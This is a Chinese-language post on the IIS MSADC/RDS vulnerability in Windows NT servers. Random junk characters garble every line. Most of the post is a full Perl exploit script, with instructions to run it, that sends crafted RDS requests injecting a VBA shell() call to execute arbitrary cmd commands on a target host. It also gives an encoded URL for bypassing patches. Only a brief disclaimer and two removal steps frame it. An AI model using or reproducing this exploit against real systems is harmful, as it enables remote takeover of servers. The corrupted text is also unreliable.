IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
jLVl4h& {MBTP;{*~ 涉及程序：
}"s;\?a Microsoft NT server
#ToK$8 au@a8MP 描述：
<i. a pBH 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{S.>BXX V"KS[>>f 详细：
:#t*K6dz 如果你没有时间读详细内容的话，就删除:
a[!%L d c:\Program Files\Common Files\System\Msadc\msadcs.dll
7(a2L&k^ 有关的安全问题就没有了。
B4H!5b \IM4Z|NN" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
@x&P9M0g Sv[ 5NZn0& 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&(pjqV 关于利用ODBC远程漏洞的描述，请参看:
Lxl_"k G I:j 3sy http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _8?o'<!8?^ 6;b9sw mh 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
XP?rOOn http://www.microsoft.com/security/bulletins/MS99-025faq.asp E /<lGm:. 3R$Z[D- 这里不再论述。
'Prxocxq Ri*3ySyb 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
2[yBD-": N:5[,O<m_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|UUdz_i!: 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
P5 <vf aoW6U{\ <yUstz,Xu^ #将下面这段保存为txt文件，然后: "perl -x 文件名"
v
$({C KA s 1(oG #!perl
\3YO<E!t #
(g!p>m!Z # MSADC/RDS 'usage' (aka exploit) script
UK[v6".^h #
J5M+FwZq # by rain.forest.puppy
?\= /$ Gt #
`C E^2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
J>vMo@ # beta test and find errors!
} ? @5W , e &< yX use Socket; use Getopt::Std;
0ezYd S~o getopts("e:vd:h:XR", \%args);
{Tp2H_EG 6=GZL pv print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
YUWn ;# E+95WF|4k" if (!defined $args{h} && !defined $args{R}) {
cQN s L print qq~
]2SI!Ai7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
/B3R1kNf| -h <host> = host you want to scan (ip or domain)
^C)n$L>C0 -d <seconds> = delay between calls, default 1 second
'-$XX%TOAc -X = dump Index Server path table, if available
R qip kx -v = verbose
tfO#vw, @ -e = external dictionary file for step 5
YPDf
Y<?v v6(E3)J 7 Or a -R will resume a command session
256LH Y|6 y2L#:[8 ~; exit;}
}ut]\]b <U Zd;e@ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
7L5P%zL tB if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8T[
6J{|C if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
YNdrWBf) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uzOYVN$t $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Dh| w^Q if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qQ[b VD\* 3Hi+Z}8 if (!defined $args{R}){ $ret = &has_msadc;
] ,etZ%z& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C )-^< \*vHB`.,ey print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Nh?| RE0t . "cmd /c ";
QbFHfA 2Ij $in=<STDIN>; chomp $in;
q<vf,D@{ ! $command="cmd /c " . $in ;
w*7|dZk{ ;U =q-t b if (defined $args{R}) {&load; exit;}
$m$;v<PSe vsB*rP= print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;i uQ?MR3 &try_btcustmr;
. RVVWqW n
1b(\PA print "\nStep 2: Trying to make our own DSN...";
Z3KO90O!8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
XUMX* w&h 2y4 print "\nStep 3: Trying known DSNs...";
&7mW9] &known_dsn;
.1 )RW5|c I5ss0JSl/ print "\nStep 4: Trying known .mdbs...";
={2!c0s &known_mdb;
nwI3| & gO?44^hMe if (defined $args{e}){
@LE[ac print "\nStep 5: Trying dictionary of DSN names...";
f7urJ'!V &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
X?r48l?? cV
K7 print "Sorry Charley...maybe next time?\n";
0rSIfYZa exit;
\`.F\ Z E8\XNG)V4 ##############################################################################
-[ 7O 7 ' #U7_a{cn"M sub sendraw { # ripped and modded from whisker
) P&9A)8 sleep($delay); # it's a DoS on the server! At least on mine...
y8Xv~4qQW my ($pstr)=@_;
D |bB u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
b }!3;: iD die("Socket problems\n");
r M}0%J' if(connect(S,pack "SnA4x8",2,80,$target)){
S:Q! "U select(S); $|=1;
~^I > #Dd print $pstr; my @in=<S>;
>>Ar$ select(STDOUT); close(S);
"bQ[ CD return @in;
9W7#u}Z } else { die("Can't connect...\n"); }}
j|fd-<ng le)DgIT>= ##############################################################################
8ip7^ .Ce8L& cU sub make_header { # make the HTTP request
OWjJxORB my $msadc=<<EOT
.
v)mZp POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
0 BPMmk User-Agent: ACTIVEDATA
IakKi4( Host: $ip
`g ''rfk} Content-Length: $clen
9<E g}Ic Connection: Keep-Alive
mdih-u(T| ITJ q ADCClientVersion:01.06
jn%kG ~]'Q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
F!!N9VIC o5o^TW{ --!ADM!ROX!YOUR!WORLD!
w FtN+ Content-Type: application/x-varg
5A eQQU Content-Length: $reqlen
sd re#@n} \t4tiCw EOT
Z,7R;,qX ; $msadc=~s/\n/\r\n/g;
H[Q_hY[>V return $msadc;}
r`\A
nT? mg:!4O$K ##############################################################################
iTo k[uJ} `s#Hq\C sub make_req { # make the RDS request
m`? MV\^ my ($switch, $p1, $p2)=@_;
A1Y7;-D my $req=""; my $t1, $t2, $query, $dsn;
<G8w[hs 0[A9b,MMVO if ($switch==1){ # this is the btcustmr.mdb query
&NZfJs $query="Select * from Customers where City=" . make_shell();
t/o N>mQG $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
H4-qB Z' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Yd
cK&{ er.L 7 elsif ($switch==2){ # this is general make table query
a l9.} $query="create table AZZ (B int, C varchar(10))";
\(U Kd v $dsn="$p1";}
L #[]I, X<OSN&d
elsif ($switch==3){ # this is general exploit table query
#.B"q:CW*P $query="select * from AZZ where C=" . make_shell();
=nUW' $dsn="$p1";}
[`=LTBt 9Mm!%Hu elsif ($switch==4){ # attempt to hork file info from index server
yR~-k?7b $query="select path from scope()";
i7[uLdQ $dsn="Provider=MSIDXS;";}
`BFIC7a :VmHfOO elsif ($switch==5){ # bad query
kdx
y\
jA $query="select";
2
+5e0/_V $dsn="$p1";}
,SlN zR 0o&MB
Dp $t1= make_unicode($query);
=4! n Fi $t2= make_unicode($dsn);
U_yE& 6 T $req = "\x02\x00\x03\x00";
7EhN u@5- $req.= "\x08\x00" . pack ("S1", length($t1));
N)8HR9[! $req.= "\x00\x00" . $t1 ;
cp
E ar $req.= "\x08\x00" . pack ("S1", length($t2));
qAkx<u $req.= "\x00\x00" . $t2 ;
h #Z4pN8T3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'rP]Nw return $req;}
I 8 u0 `o A ##############################################################################
N6 oq 90G "%2xR[NF sub make_shell { # this makes the shell() statement
~vdkFc(8B return "'|shell(\"$command\")|'";}
4pz|1Hw7 a@d=>CT$ ##############################################################################
.4.pJbOg c8 K3 .&P6 sub make_unicode { # quick little function to convert to unicode
3B0lb "e my ($in)=@_; my $out;
[t]X/O3< for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
f2)XP$: return $out;}
he3SR @\T rd|uz4d ##############################################################################
Z^KA bBxw#_3A?E sub rdo_success { # checks for RDO return success (this is kludge)
G`=r^$.3WB my (@in) = @_; my $base=content_start(@in);
9< CG s3\ if($in[$base]=~/multipart\/mixed/){
"v*8_El return 1 if( $in[$base+10]=~/^\x09\x00/ );}
L}{`h return 0;}
\Xrw"\")j &.i^dO^} ##############################################################################
"R
#k~R iP~ , n8W sub make_dsn { # this makes a DSN for us
*y[PNqyd my @drives=("c","d","e","f");
wYsZM/lw print "\nMaking DSN: ";
jMBiaX`F foreach $drive (@drives) {
l?E a# print "$drive: ";
SJ'
%
^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7[v%GoE "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+m\|e{G . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}peBR80tQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[Bb utGvj return 0 if $2 eq "404"; # not found/doesn't exist
1MkI0OZE
if($2 eq "200") {
XhU @W}} foreach $line (@results) {
T".]m7! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Mc sTe|X } return 0;}
-7>)i ("7M
b{ ##############################################################################
*mG`_9 Z5G!ct:W sub verify_exists {
kQdt}o]) my ($page)=@_;
wz8PtfZ my @results=sendraw("GET $page HTTP/1.0\n\n");
}$su4A@0 return $results[0];}
OV CR0 3cl9wWlJ_E ##############################################################################
1pp -=$k WUdKLx %F sub try_btcustmr {
e= P my @drives=("c","d","e","f");
J a, d3K
my @dirs=("winnt","winnt35","winnt351","win","windows");
n Cg6 6-3A EEy$w1ec foreach $dir (@dirs) {
d4[(8}
x$/ print "$dir -> "; # fun status so you can see progress
Tq<2`*Qs foreach $drive (@drives) {
[}mA`5 print "$drive: "; # ditto
@* 1U{` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
TrVW v $reqlenlen=length( "$reqlen" );
~IVd vm7 $clen= 206 + $reqlenlen + $reqlen;
=x#FbvV Y[ reD my @results=sendraw(make_header() . make_req(1,$drive,$dir));
H!e 3~+) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>P KBo else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Weoj|0|t VUU]Pu &
##############################################################################
\79X{mcd *2 "6fX[ sub odbc_error {
Die-@z|Y my (@in)=@_; my $base;
$ls[|N:y0l my $base = content_start(@in);
C@ y8.#l if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
AS!6XT $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5,"l0nrk $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wVs.Vcwr
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
> r5P 3G1 return $in[$base+4].$in[$base+5].$in[$base+6];}
!%mAh81{&/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$Byj}^ ;1 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
iSRpfU $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
qK S;x@ C z#Z <: ##############################################################################
T4e\0.If 5vzceQE} sub verbose {
j '%4{n my ($in)=@_;
iItcN;;7 return if !$verbose;
q*jNH\| print STDOUT "\n$in\n";}
W ~T}@T:EN #PvB/ 3 ##############################################################################
Q3W#`6jpF aAvsb$ sub save {
4wzlJ19E( my ($p1, $p2, $p3, $p4)=@_;
Qq-"Cg@-/ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
SD\=
m/W print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/{2*WI; close OUT;}
t5k!W7C %3;Fgk y ##############################################################################
!4"sX+z9 fpyz' sub load {
XK(`mEi
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+KGZ HO! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=]R3& ]#n @p=<IN>; close(IN);
0X2@CPIFf $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ij5g^{_T;8 $target= inet_aton($ip) || die("inet_aton problems");
8$N8} q% print "Resuming to $ip ...";
N MO-u3<6. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w
JwX[\ if($p[1]==1) {
$Kj&)&M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%b.UPS@I $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
q} Z3?W
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
T70QJ =, if (rdo_success(@results)){print "Success!\n";}
k#T YKft else { print "failed\n"; verbose(odbc_error(@results));}}
%WG9 dYdS elsif ($p[1]==3){
31+;]W=
if(run_query("$p[3]")){
{E e>n^1 print "Success!\n";} else { print "failed\n"; }}
rtJl _0` elsif ($p[1]==4){
~Aad9yyi if(run_query($drvst . "$p[3]")){
_STB$cZ print "Success!\n"; } else { print "failed\n"; }}
[ //R ~i? exit;}
V+-$ jOh < |O^ >s; ##############################################################################
PALl sGlf C.:=lo B sub create_table {
NBh%:tu7M my ($in)=@_;
u.pxz8 $reqlen=length( make_req(2,$in,"") ) - 28;
Sx gYjIa- $reqlenlen=length( "$reqlen" );
I7 QCYB| $clen= 206 + $reqlenlen + $reqlen;
h<l1]h+x my @results=sendraw(make_header() . make_req(2,$in,""));
/NT[ETMk+ return 1 if rdo_success(@results);
XALI<ZY my $temp= odbc_error(@results); verbose($temp);
*MN HT`Y^o return 1 if $temp=~/Table 'AZZ' already exists/;
= ! Vf return 0;}
2 g*J I:( m aM c ##############################################################################
T`/IO.2 SDG-~(Y sub known_dsn {
I0AJY
)R # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
rR ES 8/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
4W4kwU6D "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
|4) "banner", "banners", "ads", "ADCDemo", "ADCTest");
>4m'tZ8 -37a. foreach $dSn (@dsns) {
WE}kTq print ".";
Hs"(@eDV&J next if (!is_access("DSN=$dSn"));
;T]d M fO if(create_table("DSN=$dSn")){
5 v^yQ<70 print "$dSn successful\n";
$!vxVs9 n if(run_query("DSN=$dSn")){
h)lPi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
31^c z*V print "Something's borked. Use verbose next time\n";}}} print "\n";}
<q )4la 6Q4X 6U:WB ##############################################################################
IJOvnZ("A > >l`,+y sub is_access {
uD_v! my ($in)=@_;
X#xFFDzN $reqlen=length( make_req(5,$in,"") ) - 28;
=M 6[URZ $reqlenlen=length( "$reqlen" );
r#PMy$7L $clen= 206 + $reqlenlen + $reqlen;
_eSd nHWx my @results=sendraw(make_header() . make_req(5,$in,""));
LVIAF0kX my $temp= odbc_error(@results);
U8#xgz@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
&ej8mq"\ return 0;}
4:3rc7_
1 Z.L?1V8Q1 ##############################################################################
foF19_2 , >t, M sub run_query {
%1
KbS
[ my ($in)=@_;
14 8V2H) $reqlen=length( make_req(3,$in,"") ) - 28;
?[TfpAtQ` $reqlenlen=length( "$reqlen" );
9 A,Z|q/z5 $clen= 206 + $reqlenlen + $reqlen;
;^
wd_ my @results=sendraw(make_header() . make_req(3,$in,""));
{n3EGSP# return 1 if rdo_success(@results);
uy _wp^ my $temp= odbc_error(@results); verbose($temp);
yZ]:y-1 return 0;}
RT /o$$ oq/G`{`\ ##############################################################################
%\O# &=$E tary6K9K+ sub known_mdb {
,y` CRlr: my @drives=("c","d","e","f","g");
3FSqd<t;D my @dirs=("winnt","winnt35","winnt351","win","windows");
g3n'aD@'x my $dir, $drive, $mdb;
iq#b#PYA my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y&H}xn 2N #$X'8 # this is sparse, because I don't know of many
<%}QDO8\i my @sysmdbs=( "\\catroot\\icatalog.mdb",
h/eR "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
!"Yj|Nu6 "\\system32\\certmdb.mdb",
|!| ^ v "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
! hd</_# |LG4=j.l my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
k;PAh>8 "\\cfusion\\cfapps\\forums\\forums_.mdb",
2A`A\19t "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^Jp&H\gI. "\\cfusion\\cfapps\\security\\realm_.mdb",
ha@L94L q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
@tohNO> "\\cfusion\\database\\cfexamples.mdb",
"|Fy+'5} "\\cfusion\\database\\cfsnippets.mdb",
<oKGD50# "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
l} ^3fQXI "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Kemw^48ts
"\\cfusion\\brighttiger\\database\\cleam.mdb",
GY3 Wj "\\cfusion\\database\\smpolicy.mdb",
W+wA_s2&D "\\cfusion\\database\cypress.mdb",
zQ?! f#f "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'mCe=Y "\\website\\cgi-win\\dbsample.mdb",
l5%G'1w#,j "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@[<nQZw: "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
x_=n-lAF ); #these are just
WtQ8X|\` foreach $drive (@drives) {
4EI7W,y foreach $dir (@dirs){
% R#L foreach $mdb (@sysmdbs) {
e:E0 "< print ".";
'oNO-)p\#! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
D BLk!~IF print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
*,C(\!b
!? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7 J^rv9i4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
mvW% } else { print "Something's borked. Use verbose next time\n"; }}}}}
w&$d* E #&<)! YY5 foreach $drive (@drives) {
\]Kh[z0" foreach $mdb (@mdbs) {
3uU]kD^ print ".";
}<@j'Ok}. if(create_table($drv . $drive . $dir . $mdb)){
uJ x"W print "\n" . $drive . $dir . $mdb . " successful\n";
yNW\?Z$@q if(run_query($drv . $drive . $dir . $mdb)){
# ,uya2!) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
m p<1yY] } else { print "Something's borked. Use verbose next time\n"; }}}}
&wd;EGGT!q }
"q}FPJ^l_N bawJ$_O_ ##############################################################################
"xcX' F^ jdKO b sub hork_idx {
Sw^X2$h print "\nAttempting to dump Index Server tables...\n";
65 z" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-aRU]kIf $reqlen=length( make_req(4,"","") ) - 28;
:.( ;<b<\ $reqlenlen=length( "$reqlen" );
uZa9zs=} c $clen= 206 + $reqlenlen + $reqlen;
I{JU-J k| my @results=sendraw2(make_header() . make_req(4,"",""));
4p%A8%/q if (rdo_success(@results)){
M)*\a/6?{ my $max=@results; my $c; my %d;
6-`|:[Q~ for($c=19; $c<$max; $c++){
QY/hI ` $results[$c]=~s/\x00//g;
DU%w 1+u $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1}hIW":3Sr $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4%WzIzRb $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
~/NKw: $d{"$1$2"}="";}
ZZ QG?("S' foreach $c (keys %d){ print "$c\n"; }
YDC mI@ } else {print "Index server doesn't seem to be installed.\n"; }}
hLJM%on | r
ue=QZ ##############################################################################
{Np M.; AE: Z+rM* sub dsn_dict {
r|4t aV& open(IN, "<$args{e}") || die("Can't open external dictionary\n");
j Ja$a [ while(<IN>){
Nu8Sr]p $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=_j vk. next if (!is_access("DSN=$dSn"));
FYs)M O if(create_table("DSN=$dSn")){
um z ;F print "$dSn successful\n";
xw {-9k -~ if(run_query("DSN=$dSn")){
"~UUx"Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
- (#I3h;I print "Something's borked. Use verbose next time\n";}}}
EM >}0V print "\n"; close(IN);}
%h1N3\y9i( yx V:!gl ##############################################################################
IUR<.Y` t+oJV+@ sub sendraw2 { # ripped and modded from whisker
&`b
"a! sleep($delay); # it's a DoS on the server! At least on mine...
d0'J C* my ($pstr)=@_;
|6G m:jV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+q6ydb, die("Socket problems\n");
im QUR C if(connect(S,pack "SnA4x8",2,80,$target)){
=b ;>?dP print "Connected. Getting data";
I H$0)g;s open(OUT,">raw.out"); my @in;
b~dIk5>O select(S); $|=1; print $pstr;
Q1V9PRZX while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9nu3+.&P close(OUT); select(STDOUT); close(S); return @in;
' B+ ' (f } else { die("Can't connect...\n"); }}
u3Gjg{-N7 $R<Me ##############################################################################
nRd) ++ .q+0p j sub content_start { # this will take in the server headers
zByT$ P- my (@in)=@_; my $c;
FP[!BUOf" for ($c=1;$c<500;$c++) {
k
X {0y if($in[$c] =~/^\x0d\x0a/){
\ OlmF<~ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`1 :{0 p2q else { return $c+1; }}}
*<1r3! return -1;} # it should never get here actually
04r$>#E L(GjZAP ##############################################################################
j*xV!DqC `y#UJYXQE sub funky {
Uye|9/w8 ! my (@in)=@_; my $error=odbc_error(@in);
W0I#\b18 if($error=~/ADO could not find the specified provider/){
Bc3:}+l print "\nServer returned an ADO miscofiguration message\nAborting.\n";
o 1nURJ! exit;}
= k\ J< if($error=~/A Handler is required/){
8p[)MiC5W^ print "\nServer has custom handler filters (they most likely are patched)\n";
Vh>Z,()>>@ exit;}
p~LrPWHSTP if($error=~/specified Handler has denied Access/){
x@8a'' print "\nServer has custom handler filters (they most likely are patched)\n";
KZ~*Nz+H2 exit;}}
R $zH] 6q
2_W X ##############################################################################
`y+tf?QN
Ov<NsNX] sub has_msadc {
\9-"M;R.d my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
G :g69=x y my $base=content_start(@results);
O|_h_I-2 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0527Wj return 0;}
|Ph3#^rM? "`N- * ;*W ########################
\W,I?Kx$ vv26I "Ks,kSEzu 解决方案：
:1Sl"?xU 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
{k rswh3 2、移除web 目录: /msadc
